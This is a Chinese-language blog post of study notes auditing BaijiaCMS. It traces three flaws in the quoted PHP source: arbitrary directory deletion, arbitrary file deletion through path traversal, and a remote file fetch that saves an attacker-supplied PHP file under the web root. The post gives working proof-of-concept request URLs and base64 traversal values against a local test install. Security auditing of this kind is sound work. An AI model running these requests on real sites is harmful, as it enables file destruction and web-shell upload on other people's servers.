学习打卡——笔记

郎贤坤   ·   发表于 2022-08-26 09:19:27   ·   学习杂记

百家CMS 代码审计

#### 1任意路径删除漏洞

目录/includes/baijiacms/common.inc.php

  1. function rmdirs($path='',$isdir=false)//rmdirs删除空目录
  2. {
  3. if(is_dir($path))//is_dir检查指定的文件是否是一个目录
  4. {
  5. $file_list= scandir($path);//scandir函数返回指定目录中的文件和目录的数组
  6. foreach ($file_list as $file)
  7. {
  8. if( $file!='.' && $file!='..')
  9. {
  10. if($file!='qrcode')
  11. {
  12. rmdirs($path.'/'.$file,true);
  13. }
  14. }
  15. }
  16. if($path!=WEB_ROOT.'/cache/')
  17. {
  18. <span>@rmdir($path);</span>
  19. }
  20. }
  21. else
  22. {
  23. <span>@unlink($path);</span>
  24. }
  25. }

$path是路径,就删除这个路径,是文件就删除这个文件
全局搜索rmdir,看看在哪里调用了这个函数
/system/menager/class/web/database.php中调用了这个函数

  1. if($operation=='delete')
  2. {
  3. $d = base64_decode($_GP['id']);
  4. $path = WEB_ROOT . '/config/data_backup/';//配置/数据备份
  5. if(is_dir($path . $d)) {
  6. rmdirs($path . $d);
  7. message('备份删除成功!', create_url('site', array('act' =&gt; 'manager','do' =&gt; 'database','op'=&gt;'restore')),'success');
  8. }

rmdir的功能是删除备份文件,但是只判断是否为路径,并没有验证是什么路径,所以可以抓包修改为任意路径,从而删除任意路径下的文件;

漏洞复现

(1)在根目录下新建一个test文件夹


(2)后台找到备份与还原


(3)点击删除后burp抓包
(4)将id的内容修改为要删除的test文件夹的路径../../test的base64编码Li4vLi4vdGVzdA==


删除成功

任意文件删除漏洞

/system/eshop/core/mobile/util/uploader.php

  1. } elseif ($operation == 'remove') {
  2. $file = $_GPC['file'];
  3. file_delete($file);
  4. show_json(1);
  5. }

代码第七号对$operation进行了定义,通过$_GPC对op传参,然后看elseif,$operation等于remove
也就是op=remove
获取到$file参数,调用file_delete函数,跟踪到/includes/baijiacms/common.inc.php

  1. function file_delete($file_relative_path) {
  2. if(empty($file_relative_path)) {
  3. return true;
  4. }
  5. $settings=globaSystemSetting();
  6. if(!empty($settings['system_isnetattach']))
  7. {
  8. if($settings['system_isnetattach']==1)
  9. {
  10. require_once(WEB_ROOT.'/includes/lib/lib_ftp.php');
  11. $ftp=new baijiacms_ftp();
  12. if (true === $ftp-&gt;connect()) {
  13. if ($ftp-&gt;ftp_delete($settings['system_ftp_ftproot']. $file_relative_path)) {
  14. return true;
  15. } else {
  16. return false;
  17. }
  18. } else {
  19. return false;
  20. }
  21. }
  22. if($settings['system_isnetattach']==1)
  23. {
  24. require_once(WEB_ROOT.'/includes/lib/lib_oss.php');
  25. $oss=new baijiacms_oss();
  26. $oss-&gt;deletefile($file_relative_path);
  27. return true;
  28. }
  29. }else
  30. {
  31. if (is_file(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path)) {
  32. unlink(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path);
  33. return true;
  34. }
  35. }
  36. return true;
  37. }

$settings[‘system_isnetattach’]是附件设置页面中的远程附件选择有本地、FTP、OSS,选择哪个也可以,下面的代码不用去管,那是附件选择的功能调用的代码
直接到最后个else进行if_file判断,最后执行unlink,
file_deleteshi’是通过$file对file传参,传递到参数就是我们要删除的文件
file=../test
结合前面的总结url的一部分应该是&op=remove&file=../test
完整的url参数是http://127.0.0.1/baijiacms/index.php?mod=mobile&act=uploader&op=post&do=util&m=eshop&op=remove&file=../test.txt

复现

1.现在网站根目录下新建一个test.txt文件


2.访问构造好的url,http://127.0.0.1/baijiacms/index.php?mod=mobile&act=uploader&op=post&do=util&m=eshop&op=remove&file=../test.txt


删除成功

远程文件上传漏洞

/system/public/class/web/file.php

  1. if ($do == 'fetch') {
  2. $url = trim($_GPC['url']);//trim移除字符串两侧的字符
  3. $file=fetch_net_file_upload($url);
  4. if (is_error($file)) {
  5. $result['message'] = $file['message'];
  6. die(json_encode($result));
  7. }
  8. }

1.先使do=fetch,进入下面的代码
2.$url是传参,然后调用了fetch_net_file_upload()函数,跟踪函数到
/includes/baijiacms/common.inc.php

  1. function fetch_net_file_upload($url) {
  2. $url = trim($url);
  3. $extention = pathinfo($url,PATHINFO_EXTENSION );//pathinfo文件路径以数组形式返回,pathinfo_extension,返回文件后缀名
  4. $path = '/attachment/';
  5. $extpath="{$extention}/" . date('Y/m/');//(格式化时间日期)文件后缀接年/月
  6. mkdirs(WEB_ROOT . $path . $extpath);//创建目录接+attachment+文件后缀名+年/月
  7. //attachment php 2022/09
  8. do {
  9. $filename = random(15) . ".{$extention}";//文件名=随机数+文件后缀
  10. } while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));
  11. $file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;
  12. $file_relative_path = $extpath. $filename;
  13. if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
  14. $result['message'] = '提取失败.';
  15. return $result;
  16. }
  17. $file_full_path = WEB_ROOT .$path . $extpath. $filename;
  18. return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
  19. }

用pathinfo把文件路径以数组形式返回,且只返回extension,即扩展名;
路径拼接年月,创建路径;随机数和扩展名拼接为文件名;
将读取的文件写入拼接生成的路径下,最后,返回路径信息;

复现

http://127.0.0.1/baijiacms-master/baijiacms-master/index.php?mod=web&do=file&m=public&op=fetch&url=http://127.0.0.1/M.php


http://127.0.0.1/baijiacms-master/baijiacms-master/attachment/php/2022/09/RPnYmxgxQOhOXyJ.php

打赏我,让我更有动力~

0 条回复   |  直到 2022-8-26 | 656 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.